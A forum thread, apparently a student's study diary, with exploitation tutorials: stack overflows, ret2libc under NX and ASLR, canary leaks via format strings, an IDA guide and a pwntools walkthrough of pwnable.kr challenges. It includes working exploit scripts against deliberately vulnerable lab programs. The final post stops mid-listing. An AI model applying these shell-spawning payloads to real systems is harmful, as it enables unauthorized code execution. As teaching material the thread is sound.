安全矩阵

 找回密码
 立即注册
搜索
12
返回列表 发新帖
楼主: DL_one

邓国健学习日记

[复制链接]

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-3-21 20:43:33 | 显示全部楼层
本帖最后由 DL_one 于 2020-3-21 20:47 编辑

一个简单的pwn例子---read函数

内容:

  1. #include<stdio.h>
  2. void exploit()
  3. {
  4.     system("/bin/sh");
  5. }
  6. void func()
  7. {
  8.     char str[0x20];
  9.     read(0, str, 0x50);
  10. }
  11. int main()
  12. {
  13.     func();
  14.     return 0;
  15. }

复制代码
我们要做的是利用溢出执行exploit函数

分析:
先执行func函数,func函数里有个read函数,read函数会读取我们在屏幕上输入的内容,但不会检查内容的多少,全部复制到str里,但str只能存取20个,如果超出这个值,会造成溢出,我们利用溢出,将ret的返回地址改为exlpoit的地址就可以取执行exploit函数了。


首先,把保护机制关了
  1. gcc -no-pie -fno-stack-protector -z execstack -m32 -g -o  11.exe read.c

复制代码
gdb运行调试
  1. gdb 11.exe
  2. start
复制代码
找到exlpoit的首地址:0x804843b

查看main的反汇编:

调用func函数后,回来执行mov eax,0x0

我们再查看func的反汇编

执行ret语句后就去执行mov eax,0x0,func函数调用了read函数,我们要利用read函数产生溢出,让执行ret完去执行exploit函数。这个时候我们看看栈内容。

在push ebp之前,esp的内容是mov eax,0x0的eip值,lea eax,[ebp-0x28] 是read读取内容的首地址,所以我们让执行ret完去执行exploit函数,只需让exploit的地址去覆盖栈里面mov eax,0x0的eip值,从ebp-0x28到mov eax,0x0的eip值,地址相差0x28+0x4,因为在func函数里先push 了edp,所以还要加上0x4。

利用程序:

  1. from pwn import *
  2. p=process('./11.exe')   //文件路径
  3. offset = 0x28+0x4
  4. payload ='a'*offset+p32(0x804843b) //0x804843b是exploit首地址
  5. p.sendline(payload)
  6. p.interactive()
复制代码

运行,成功获得权限



回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-3-24 17:45:19 | 显示全部楼层
本帖最后由 DL_one 于 2020-3-24 22:43 编辑

NX机制及绕过策略-ret2libc

程序:
1.c

  1. #include <stdio.h>
  2. void exploit()
  3. {
  4.     system("/bin/sh");
  5. }
  6. void func()
  7. {
  8.         char str[0x20];
  9.         read(0,str,0x50);
  10. }
  11. int main()
  12. {
  13.         func();
  14.         return 0;
  15. }
复制代码
0x01 NX介绍
溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段,转而让系统去执行。


NX缓解机制开启后,使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。


2. 编译
  1. gcc -Wall -g -o nx 1.c -fno-stack-protector -m32

复制代码

没有使用 -z execstack ,所以数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

关闭ASLR

  1. echo 0 > /proc/sys/kernel/randomize_va_space
复制代码

我们用下面的程序执行获取权限,将会报错(我试了,这里就不贴图了),因为开启了NX保护机制。这是关闭NX获取权限的,我写在这篇文章上了:
https://blog.csdn.net/qq_41683305/article/details/105014197

  1. from pwn import *
  2. p=process('./nx')
  3. offset = 0x28+0x4
  4. payload ='a'*offset+p32(0x8049172)
  5. p.sendline(payload)
  6. p.interactive()
复制代码
0x03 原因

运行起nx,并保持运行状态,新打开一个终端,输入ps -a,查看nx的pid,然后执行cat /proc/52799/maps


发现stack不可以执行,我们的shellcode不可以执行了


0x04 ret2libc
ret2libc即控制函数执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。
一般情况下,我们会选择执行system("/bin/sh"),在不存在ASLR(地址随机化)的情况下,可以直接通过调试获得system的函数地址以及“/bin/sh”的地址 。


布局完成后,返回地址return_addr被覆盖为libc文件里的system函数地址,当运行到esp位置时,会跳转到system中执行,同时,esp指向esp+4,这时对system来说,它内部的ret(返回地址)执行时esp指针还是指向esp+4的,也就是esp + 4(0xdeadbeef)就是system函数的返回地址,而esp+8则是它的参数



注:对于不想使程序崩溃,可以将esp+4的覆盖为exit函数的地址

0x06 找地址

先执行start,运行我们的程序,然后输入下图内容,找到system和exit地址

接着找/bin/sh地址

我用的是第一个地址,成功了,后面两个我没有尝试
三个地址都找到了,修改我们的poc程序:
1.py

  1. # -*- coding: utf-8 -*-
  2. from pwn import *
  3. p=process('./nx')
  4. offset = 0x28+0x4
  5. payload ='a'*offset+p32(0xf7e13660)
  6. payload+=p32(0xf7e066f0)
  7. payload+=p32(0x56557008)
  8. p.sendline(payload)
  9. p.interactive()
复制代码

接着执行,成功获取权限


0x08 再次重启,程序将不能运行原因

重启了系统,发现运行获得不了权限了

这是因为要使用系统库的函数地址,虽然你在自己的程序里面是关了ALSR的,但系统加载lib的时候是ALSR的。所以不一定成功。

如果用自己程序PLT里面的地址和自己程序的那个字符串地址,只要-no-pie了一定成功。

但如果你直接用了库里的就不一定了。这就是原因。

关闭ALSR

  1. sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
复制代码

再次执行就成功了


0x09 总结

Ret2Libc虽然把数据放在了不具备可执行权限的栈上,但成功执行了shellcode,这是因为只是把输入数据当做纯数据来间接劫持程序的执行流。


这个程序的成功执行得利于关闭ASLR,system和exit函数的地址才能固定下来。我们构造poc才方便很多。


ret2libc的精髓之处在于,把ret addr修改成libc库中的函数地址,并且构造了system函数的参数。对于DEP防御来说,你不让我执行我的代码,我就利用你的函数达到我的目的。这边是面向返回编程的设计思路。


参考:

https://www.jianshu.com/p/c90530c910b0

https://blog.csdn.net/counsellor/article/details/81986052?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-3-29 18:33:30 | 显示全部楼层
本帖最后由 DL_one 于 2020-3-29 18:37 编辑

借助格式化输出过canary保护

0x01 canary保护机制
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。


0x02 溢出例子
整体思路:


找到溢出点,用我们的shellcode去覆盖栈里面的数据,但添加了canary保护,直接覆盖会把canary也覆盖,导致程序不能执行,所以我们要找出canary,在覆盖的时候,把canary放在payload里,canary覆盖canary,这样保证canary没有被覆盖,其他栈数据被覆盖,就可以过canary保护了。


  1. #include<stdio.h>
  2. void exploit()
  3. {
  4.     system("/bin/sh");
  5. }
  6. void func()
  7. {
  8.     char str[16];
  9.     read(0, str, 64);
  10.     printf(str);
  11.     read(0, str, 64);
  12. }
  13. int main()
  14. {
  15.     func();
  16.     return 0;
  17. }
复制代码
利用栈溢出去执行exploit程序,编译:
  1. gcc -no-pie -fstack-protector  -m32 -o 5.exe 5.c
复制代码
启动了栈保护

在func处下个断点

我们看到这个汇编语句,这里就是插入canary,将canary信息放到eax中,然后压入栈中,这是在调用第一个read函数前插入的

我们来看看eax值和压入的canary信息在哪里:0xffffcffc

记录一下read函数把读取的内容放在那个地址:0xffffcfec

我们看一下buf内容和canary地址(0x2fe2d00)相差多少,buf再加上16个字节就到canary的地址了。

查看exploit地址 0x80484cb

查看func的ret语句,此时esp的值:0x8048554,地址为0xffffd00c,和canary相差16个字节



我们要利用read栈溢出,去执行exploit函数,所以我们要覆盖0xffffd00c这个地址数据,内容更换为exploit首地址,但是加了canary保护,我们在覆盖的时候不能覆盖掉canary信息。所以我们在覆盖栈内数据的时候,canary还覆盖成canary信息就行了。


但每次程序执行canary的值都不会相同,这又头疼了,这个时候我们的格式化输出就有用处了。我们可以将canary输出来,然后动态加到我们payload中,这样保证每次都是那个canary


我们可以找到canary距栈顶的距离,这个是不会变的,然后用格式化输出就行了。


利用read将printf要的数据输进去,内容:"%11$08x",这样printf就会打印距栈顶11个,就是44个byte,然后打印8个16进制数据,就是canary信息了

poc:

  1. from pwn import *
  2. p=process("./5.exe")
  3. p.sendline("%11$08x")
  4. canary=p.recv()[:8]
  5. print(canary)
  6. canary=canary.decode("hex")[::-1]        //将canary转成16进制
  7. coffset=4*4                                                        //read函数距canary16个byte
  8. roffset=3*4
  9. raddr=p32(0x80484cb)                //exploit地址
  10. payload=coffset*'a'+canary+roffset*'a'+raddr

  11. p.sendline(payload)

  12. p.interactive()
复制代码

执行,成功

0x04 总结

加了canary保护,在调用函数前,会加一个canary信息到栈里面,如果我们利用栈溢出覆盖了栈里面的数据,覆盖了这个canary信息,程序就不能执行。并且每次程序执行,这个canary信息都是不同的,所以我们不能静态的加入到我们的payload里。


找到exploit函数地址

找到buf首地址距canary地址的距离,就是有溢出的地方,在栈里存放数据的首地址,与canary的距离

计算ret语句需要的栈数据与canary距离

当执行到格式化输出语句时,查看当前栈里数据,计算canary与栈顶的距离(每4byte为1)

修改poc程序,执行




回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-4-4 16:05:19 | 显示全部楼层
本帖最后由 DL_one 于 2020-4-4 16:18 编辑

IDA使用方法---1

0x01 启动IDA

new:反汇编一个新文件
go:运行,直接进入IDA
Previous:载入一个我们以前编译过的程序
如果不想每次都看到这个对话框,可以取消该对话框底部的Display at startup(启动时显示),如果没有勾选这个,下次启动IDA时,IDA会认为我们单击了go选项。如果我们没有勾选这个,下次希望使用这个时,我们可以按照下图做,就又可以显示了。


文件加载

使用File—>open命令打开一个新文件时,会看到下图所示的加载对话框。IDA会自动生成一个可能的文件列表,并显示这个列表,这个列表中将显示最适合处理选定文件的IDA加载器。


Windows PE加载器(pe.ldw)
MS-DOS EXE加载器(dos.ldw),PE文件格式是MS-DOS EXE文件格式的拓展形式
Binary File(二进制文件):这个选项会一直显示,不论加载什么文件,因为它是IDA加载无法识别的文件默认选项,它提供最低级的文件加载方式
如果IDA提供几个加载器,我们一般选择第一个,其他选项我们也一般默认

0x02 界面介绍
默认界面:




1、工具栏区域

包含与IDA的常用操作对应的工具,我们可使用 VIew–>Toolbars----->Advance mode打开高级模式工具栏,高级模式工具栏包含三排工具按钮

2、彩色的水平带是IDA的概括导航栏,也叫导航带,是被加载文件地址空间的线性视图。我们可以右击导航带任何位置,并选择一个可用的缩放选项。不同的颜色表示不同类型的文件类型,如数据或代码。在导航带上,会有一个细小的当前位置指示符(默认为黄色)指向当前反汇编窗口中显示地址范围对应的导航带地址。我们可以通过options—>colors自定义导航带使用的颜色。


3、IDA为当前打开的每一个数据显示窗口都提供了标签。数据显示窗口中包含从二进制文件中提取的信息,他们代表数据库的各种视图。


通过View—>Open Subviews菜单可打开其他数据显示窗口

4、反汇编视图是主要数据显示视图,两种形式:图形视图(默认)和列表视图。我们可以使用空格键在图形样式和列表样式之间切换。

如果希望列表视图作为默认视图,则必须通过Options---->General菜单打开IDA Options复选框,取消Graph选项卡下的Use graph view by default

5、使用图形视图时,显示区很少能够一次显示某个函数的完整图形。这时,图形概况视图可提供基本图形结构的缩小快照,其中虚线矩阵表示其在图形视图中的当前显示位置。


6、输出窗口显示的是IDA输出的信息

7、函数窗口是默认IDA显示窗口的最后一部分

IDA 桌面提示和技巧
使用View–>Open SubViews恢复无意中关闭的数据显示窗口
使用Windows—>reset desktop命令可迅速将桌面恢复到原始布局
利用windows—>Save desktop命令保存你认为特别有用的当前桌面布局。使用Windows—>load desktop命令迅速打开你之前保存的一个桌面布局
Disassembly窗口是唯一一个可以修改其显示字体的窗口,使用Options—>fonts命令可以设置字体


0x03 IDA数据显示窗口

基本规则:


IDA不提供撤销功能。如果不小心按下某个键,导致数据库文件发生意外,这是,我们必须将显示窗口恢复到以前的状态
几乎所有的操作都有其对应的菜单项、热键和工具栏按钮。
IDA提供方便的、基于上下文的鼠标右键操作菜单
IDA主要的数据显示窗口
在IDA中,ESC键是一个非常有用的热键。在反汇编窗口中,ESC键的作用与web浏览器的后退按钮类似。因此,它在导航反汇编窗口非常有用。遗憾的是,在打开其他的窗口时,ESC键用于关闭窗口。


1、反汇编窗口
反汇编窗口也叫IDA-View窗口,它是操作和分析二进制文件的主要工具。
反汇编窗口有两种显示窗口:图形和列表


IDA图形视图
图形视图将一个函数分解成许多基本块,以生动显示该函数由一个块到另一个块的控制流程。IDA使用不同彩色箭头区分函数块之间各种类型的流。在条件跳转位置终止的基本块可能会生成两种流:


红色:No边的箭头,不执行分支
绿色:Yes边的箭头,执行分支
还有一个蓝色箭头,指向下一个即将执行的块


我们可使用Ctrl+鼠标滑轮来调整图形的大小。
平移:通过单击图形概述和拖动图形视图的背景来定位图形
重新调整块位置。通过单击指定块的标题栏并将其拖到一个新的位置,用户还可以移动每一个块的位置
创建其他反汇编窗口:可以通过View–>Open subviews—>disassembly命令打开另一个反汇编空口。这样打开的第一个反汇编窗口叫做IDA View A。随后的反汇编窗口叫做IDA View B、IDA View C,以此类推。每个反汇编窗口都独立于其他窗口。我们可以在一个窗口中查看一个图形,在另一个窗口查看文本列表。
2、IDA文本视图
面向文本的反汇编窗口是查看和操作IDA生成的反汇编代码的传统显示窗口。文本显示窗口会显示一个程序的完整反汇编代码清单,用户只有通过这个窗口才能查看一个二进制文件的数据部分。


显示窗口的左边部分叫做箭头窗口,用于描述函数中的非线性流程。实线箭头表示非条件跳转,虚线箭头表示条件跳转。如果一个跳转将控制权交给程序中的某个地址,这时会使用粗线(实线或虚线)。出现逆向流程,通常表示程序中存在循环
函数窗口
Functions窗口用于列举IDA在数据库中识别的每一个函数

十六进制窗口
默认情况下,十六进制窗口显示程序内容和列表的标准十六进制代码,每行显示16个字节。我们可以打开几个十六进制窗口。


第一个16进制窗口会与第一个反汇编窗口同步。如果一个反汇编窗口与一个十六进制窗口同步,在一个窗口滚动鼠标,另一个窗口也会滚动到相应位置(同一个虚拟地址)。如果在反汇编窗口选中一个项目,十六进制窗口中的对应字节也将突出显示。

有时候,十六进制窗口显示的全部是问号,这表示IDA无法识别给定的虚拟地址范围内的值。
导出窗口导出窗口列出文件的入口点

导入窗口
导入窗口的功能与导出窗口的功能正好相反。它列出由被分析的二进制文件导入的所有函数


结构体窗口
结构体窗口用于显示IDA决定在一个二进制文件中使用的任何复杂的数据结构的布局。


枚举窗口
如果IDA检测到标准枚举数据类型,它将在枚举窗口列出该数据类型


其他IDA显示窗口

下面讨论的窗口并不是你当前需要的信息,因此,IDA一开始并不开开这些窗口。


1.Strings 窗口
我们可以通过View —> Open SubViews —> Strings命令打开


Strings窗口中显示的是从二进制文件中提取出的一组字符串,以及每个字符串所在的地址,双击Strings窗口中的任何字符串,反汇编窗口将跳转到该字符所在的地址。IDA默认扫描的字符串类型为至少包含5个字符的C风格、以Null结尾的7位ASCII字符串。


每次打开Strings窗口,IDA都会扫描或重新扫描整个数据库,查找其中的字符串。扫描字符串的操作遵照Strings窗口的设置来完成,我们右击该窗口,在出现的菜单中选择setup,即可开始设置





Display only defined strings (仅显示已定义的字符串)。这个选项使Strings窗口仅显示IDA自动创建或用户手动创建的已命名字符串数据项。
Igonre instructions/data definitions(忽略指令/数据定义)。这个选项会使IDA扫描指令和现有数据定义中的字符串


2、names窗口列举一个二进制文件的所有全局名称。双击Names窗口的名称,可立即跳转到显示该名称的反汇编视图。

Name窗口显示的名称采用了颜色和字母编码。其编码方案:

  • F,常规函数。IDA认为这些函数不属于库函数
  • L,库函数。IDA通过签名匹配算法来识别库函数
  • I,导入的名称,通常为共享库导入的函数名称
  • C,命名代码。
  • D,数据
  • A,字符串数据
3、段窗口

段窗口显示的是在二进制文件中出现的段的简要列表。该窗口显示的信息包括段名称、起始和结束地址以及许可标志。

双击段窗口的任何条目,IDA将跳转到反汇编窗口中该段的起始位置。右击一个条目,IDA将显示一个上下文菜单,你可以添加新段、删除现有段或者编译现有段的属性。


4、签名窗口
IDA利用一个庞大的签名库来识别已知的代码块。签名用于识别编译器生成的常用启动顺序,以确定可能已被用于构建给定二进制文件的编译器。

0x04 反汇编导航
基本IDA导航
1、双击导航

反汇编程序时,程序的每个位置都分配一个虚拟地址。只要提供希望访问的位置的虚拟地址,就可以导航到程序的任何地址。然而,记住大量地址并非易事。这促使早期的程序员给他们希望引用的程序位置分配符号名称。这大大简化了他们的工作。我们只需双击这些名称就可跳转。


2、跳转到地址
使用jump —>jump to address命令或在处于活动状态的反汇编窗口按下热键G,均可打开Jump toAddress对话框

3、导航历史记录
IDA的另一项类似于传统web浏览器的功能,是它的前进和后退导航功能(基于你浏览反汇编窗口的顺序)。每次你导航到反汇编窗口中的一个新位置,你当前的位置就会添加到位置列表中。有两种方式菜单操作可用于遍历这个列表。首先,Jump —>Jump to previous Position
或者使用ESC(只能在反汇编使用,其他窗口为关闭当前窗口),或者使用工具栏上的导航按钮

搜索数据库
在IDA中,你可以轻松导航到你知道的位置
1、文本搜索
IDA文本搜索相当于对反汇编列表窗口进行子字符串搜索。通过Search—>Text命令启动文本搜索或者Alt+T。搜搜限制于仅查找完整的词,并且能够匹配反汇编行中的任何完整的词,包括操作码助记符或常量。最后使用Ctrl+T或者Search—>Next Text命令可重复前一项搜索,以找到下一个匹配。




2、二进制搜索
二进制搜索仅搜索十六进制视图窗口。根据指定搜索字符串的方式,可以搜索16进制或ASCII字符串。
Search —>Sequence of Bytes或者Alt+B即可进行二进制搜索









回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-4-9 20:10:59 | 显示全部楼层
本帖最后由 DL_one 于 2020-4-9 20:18 编辑

复习前面学的知识,看到老师写的poc,不知道什么意思,网上百度学习了一下

pwntools是一个二进制利用框架。官方文档提供了详细的api规范。然而目前并没有一个很好的新手教程。因此我用了我过去的几篇writeup。由于本文只是用来介绍pwntools使用方法,我不会过于详细的讲解各种二进制漏洞攻击技术。

Pwntools的“Hello World”

栈溢出无疑是二进制攻击的“Hello World”。这里,我们用pwnable.kr的bof来进行展示。

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. void func(int key){
  5.     char overflowme[32];
  6.     printf("overflow me : ");
  7.     gets(overflowme);    // smash me!
  8.     if(key == 0xcafebabe){
  9.         system("/bin/sh");
  10.     }
  11.     else{
  12.         printf("Nah..\n");
  13.     }
  14. }
  15. int main(int argc, char* argv[]){
  16.     func(0xdeadbeef);
  17.     return 0;
  18. }
复制代码

pwntools脚本:

  1. from pwn import *
  2. c = remote("pwnable.kr", 9000)
  3. c.sendline("AAAA" * 13 + p32(0xcafebabe))
  4. c.interactive()
复制代码

源码简洁明了,我们只需要将key改写成0xcafebabe。

现在我们重新看回pwntools脚本。第一行将pwntools提供的工具引入到我们的python上下文中。
remote("一个域名或者ip地址", 端口) 会连接到我们指定的地址及端口。 然后该函数会返回remote对象 (这里,我们将该对象保存到了变量 c). remote对象主要用来进行对远程主机的输入输出. 它有如下几个方法:

  • send(payload) 发送payload
  • sendline(payload)发送payload,并进行换行(末尾\n)
  • recvn(N) 接受 N(数字) 字符
  • recvline() 接收一行输出
  • recvlines(N) 接收 N(数字) 行输出
  • recvuntil(some_string)接收到 some_string 为止

在第三行中, p32() 可以让我们转换整数到小端序格式.p32转换4字节. p64 和 p16 则分别转换 8 bit 和 2 bit 数字. c.sendline 将我们的payload发送到远程主机. "AAAA" * 14是我们到key的偏移量. Pwntools不能自动运算偏移量,用户需要自行计算。

最后,我们成功getshell了. 这时,你可能想发送命令进行交互. c.interactive()允许我们在终端里将命令传送到远程服务器. Pwntools 会自动接收输出并回显 .

写 Shellcode

下一题是pwnable.kr的asm. 你需要用ssh -p2222 asm@pwnable.kr并输入密码 guest 来查看可执行文件和源码. 这里,我们只展示利用代码:

  1. from pwn import *

  2. p = process("./asm")
  3. context.log_level = 'DEBUG'
  4. gdb.attach(p)

  5. context(arch='amd64', os='linux')

  6. shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
  7. shellcode += shellcraft.amd64.linux.open('rsp',0,0)
  8. shellcode += shellcraft.amd64.linux.read('rax','rsp',0)
  9. shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)

  10. p.recvuntil('shellcode: ')
  11. p.send(asm(shellcode))
  12. log.success(p.recvall())
复制代码

我们这里用到了新的api: process(), contex.log_level, gdb.attach, 和 shellcraft.
process和 remote 类似.remote连接远程主机, process则通过你声明的二进制文件路径在本地创建新的进程. 除了 I/O, process返回的对象可以通过 gdb.attach(p) 将进程attach到gdb上. Attach 之后, gdb 便可以调试该程序来 (设置 breakpoints, 查看 stack, 以及简单的反汇编).

提醒一下,如果你想在命令行中使用gdb.attach(), 便需要安装并运行 tmux.


当我们想查看服务器输出时,并不需要在每个recvline或者recvuntil前加 print. 当 context.log_level被设置为 "DEBUG" , 我们的输入和服务器的输出会被直接输出.

shellcraft 是一个帮忙生成shellcode的类. 在我们的例子中, 我们 open 了一个文件并 read 文件到 stdout.

格式化漏洞自动化

我没有找到一个比较容易做的格式化漏洞题目,所以干脆用了官方文档的例子

  1. from pwn import *
  2. import tempfile

  3. program = tempfile.mktemp()
  4. source  = program + ".c"
  5. write(source, '''
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <unistd.h>
  9. #include <sys/mman.h>
  10. #define MEMORY_ADDRESS ((void*)0x11111000)
  11. #define MEMORY_SIZE 1024
  12. #define TARGET ((int *) 0x11111110)
  13. int main(int argc, char const *argv[])
  14. {
  15.        char buff[1024];
  16.        void *ptr = NULL;
  17.        int *my_var = TARGET;
  18.        ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
  19.        if(ptr != MEMORY_ADDRESS)
  20.        {
  21.                perror("mmap");
  22.                return EXIT_FAILURE;
  23.        }
  24.        *my_var = 0x41414141;
  25.        write(1, &my_var, sizeof(int *));
  26.        scanf("%s", buff);
  27.        dprintf(2, buff);
  28.        write(1, my_var, sizeof(int));
  29.        return 0;
  30. }''')
  31. cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program]
  32. process(cmdline).wait_for_close()
  33. def exec_fmt(payload):
  34.     p = process(program)
  35.     p.sendline(payload)
  36.     return p.recvall()

  37. autofmt = FmtStr(exec_fmt)
  38. offset = autofmt.offset
  39. p = process(program, stderr=PIPE)
  40. addr = u32(p.recv(4))
  41. payload = fmtstr_payload(offset, {addr: 0x1337babe})
  42. p.sendline(payload)
  43. print hex(unpack(p.recv(4)))
复制代码

有了 FmtStr, 我们不用算偏移量算到疯. 我们需要先构造一个可以接收我们输入并返回格式化字符串输出的函数. 接着,我们可以得到autofmt. 这个对象包含offset, 即算好的偏移量. fmtstr_payload(offset, {address: value})帮我们生成最后的payload. 第一个参数 offset用 autofmt.offset 算好的即可. 然后, 我们需要声明{address: value}来覆盖address的内容对应的value. 我们还可以同时改写多个地址: {address1: value1, address2:value2,..., address: valueN}.

使用 ELF()

有些题目给了我们libc. 用 gdb> x function1 — function2算偏移量太麻烦了, 因此有了 ELF.

  1. from pwn import *

  2. e = ELF('./example_file')
  3. print hex(e.address)  # 0x400000
  4. print hex(e.symbols['write']) # 0x401680
  5. print hex(e.got['write']) # 0x60b070
  6. print hex(e.plt['write']) # 0x401680
  7. offset = e.symbols['system'] - e.symbols['printf'] # calculate offset
  8. binsh_address = next(e.search('/bin/sh\x00')) # find address which contains /bin/sh
复制代码

[color=rgba(0, 0, 0, 0.75)]

和 process() 一样, 我们只用将路径给ELF(path) 即可分析 ELF.

我们有以下几种方法操纵ELF:

  • symbols['a_function'] 找到 a_function 的地址
  • got['a_function'] 找到 a_function的 got
  • plt['a_function']找到 a_function 的 plt
  • next(e.search(“some_characters”))找到包含 some_characters(字符串,汇编代码或者某个数值)的地址.
总结

Pwntools 是一套十分强大的工具. 在本文中, 我介绍了最常用的几个api, 但 pwntools 还有很多其他强大的api,诸如 qemu, adb. 各位可通过官方文档进行剩余的学习


[color=rgba(0, 0, 0, 0.75)]

[color=rgba(0, 0, 0, 0.75)]





回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-4-18 10:50:02 | 显示全部楼层
本帖最后由 DL_one 于 2020-4-18 10:55 编辑

ret2libc过地址随机化程序:
  1. #include<stdio.h>
  2. char buf2[10] = "this is buf2";
  3. void vul()
  4. {
  5.         char buf1[10];
  6.         gets(buf1);
  7. }
  8. void main()
  9. {
  10.         write(1,"sinxx",5);
  11.         vul();
  12. }

复制代码
很明显,gets函数存在溢出
编译:
  1. gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c
复制代码
我们要用溢出,执行system("/bin/sh")函数
0x01 了解plt和got表
具体了解,看这篇文章:https://blog.csdn.net/qq_18661257/article/details/54694748


为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT表可以称为内部函数表,GOT表为全局函数表(也可以说是动态函数表这是个人自称),这两个表是相对应的,什么叫做相对应呢,PLT表中的数据就是GOT表中的一个地址,可以理解为一定是一一对应的,如下图:



实际当中并不是,这里只是为了方便理解,画成这样,具体可看上面的文章


PLT表中的每一项的数据内容都是对应的GOT表中一项的地址这个是固定不变的,到这里大家也知道了PLTPLT表中的数据根本不是函数的真实地址,而是GOT表项的地址,好坑啊。

其实在大家进入带有@plt标志的函数时,这个函数其实就是个过渡作用,因为GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址。

我们反汇编我们的程序,其中有下图中的write<@plt> ,这个地址并不是write函数真正的地址,这个是GOT表存放write函数地址数据的地址。





我们要记得plt表中并不是函数真是的地址,got表才是函数真正的地址,plt给的地址是来寻找got表中真正的函数地址。
0x02 分析我们来看看保护机制:

虽然关闭了PIE,这个只是对这个程序来说没有PIE,当我们去执行system("/bin/sh"),动态调用,这个还是有地址随机化的。

我们要找到system和/bin/sh真正的地址,采用利用溢出去执行。

0x03 找到溢出点
利用pade生成100个字符
  1. pattern create 100
复制代码

使用命令c,让程序继续执行,复制我们生成的字符串,注意单引号不要复制

溢出了,查看现在的EIP,AA(A
使用命令查看溢出位置
  1. pattern offset AA(A
复制代码

0x04 构造poc
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process("9.exe")
  4. e=ELF("9.exe")                #加载9.exe这个文件
  5. addr_write=e.plt["write"]        #找到plt表中write地址
  6. addr_gets=e.got["gets"]                #找到got表中get地址
  7. addr_vul=e.symbols["vul"]        #找到vul函数地址

  8. print pidof(p)
  9. offset=22
  10. pause()

  11. payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
  12. p.sendlineafter("sinxx",payload1)        #接收sinxx后发送payload1
  13. gets_real_addr=u32(p.recv(4))                #将接收到的字符变成32位地址

  14. libc=ELF("/lib/i386-linux-gnu/libc.so.6")
  15. rva_libc=gets_real_addr-libc.symbols["gets"]
  16. addr_system=rva_libc+libc.symbols["system"]
  17. addr_binsh=rva_libc+libc.search("/bin/sh").next()

  18. payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
  19. p.sendline(payload2)
  20. p.interactive()
复制代码



解释:
addr_write=e.plt[“write”] #找到plt表中write地址
这个是找plt表中的地址,程序调用函数是先调用plt表中的地址,然后根据这个去找got表中真实的函数地址。

addr_gets=e.got[“gets”] #找到got表中get地址
这个是找到gets函数真正的地址,是为了后面找system和/bin/sh真实地址做准备的

rva_libc=gets_real_addr-libc.symbols[“gets”]
gets_real_addr是gets真实的地址,libc.symbols[“gets”]是gets在libc中的偏移地址,真实地址与偏移地址是不一样的,我们可以根据这个差,然后找到system和/bin/sh在libc中偏移地址,两者在相加就找到了system和/bin/sh的真实地址。

注意:poc中一共执行了两次poc,一次是执行按照执行顺序执行力一次,一次是payload1中执行执行了一次



0x05 总结我们利用溢出执行了程序没有的函数,虽然程序中是没有地址随机化的,但我们利用溢出去执行的函数所在的模块是有的,所以我们要把每次的变化求出来。

我们根据程序使用了libc库,libc库中有system和.bin/sh,所以我们可在libc找到system和.bin/sh,在libc中,我们找出system和.bin/sh的地址是偏移地址,但不是真正的地址,所以我们还需要计算出偏移量,根据gets函数,找到gets在GOT表中真实的地址,再找出在libc库的偏移地址,两者相减就找出了偏移量,最后根据偏移量和出system和.bin/sh的偏移地址,最终找到system和/bin/sh真实地址

关键是理解plt、got和偏移地址的关系,其他很好理解








回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-4-28 08:15:12 | 显示全部楼层
本帖最后由 DL_one 于 2020-4-28 08:20 编辑

构造带有堆栈保护的指令流


0×01 引言

我们在学ropgadgets与ret2syscall技术原理时,构造指令流时,是没有加堆栈保护的,比如下面的程序:

文件名:7.c

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5. #include <sys/syscall.h>
  6. void exploit()
  7. {
  8.     system("/bin/sh");
  9. }
  10. void func()
  11. {
  12.         char str[0x20];
  13.         read(0,str,0x50);
  14.         printf(str);
  15.         read(0,str,0x50);
  16. }
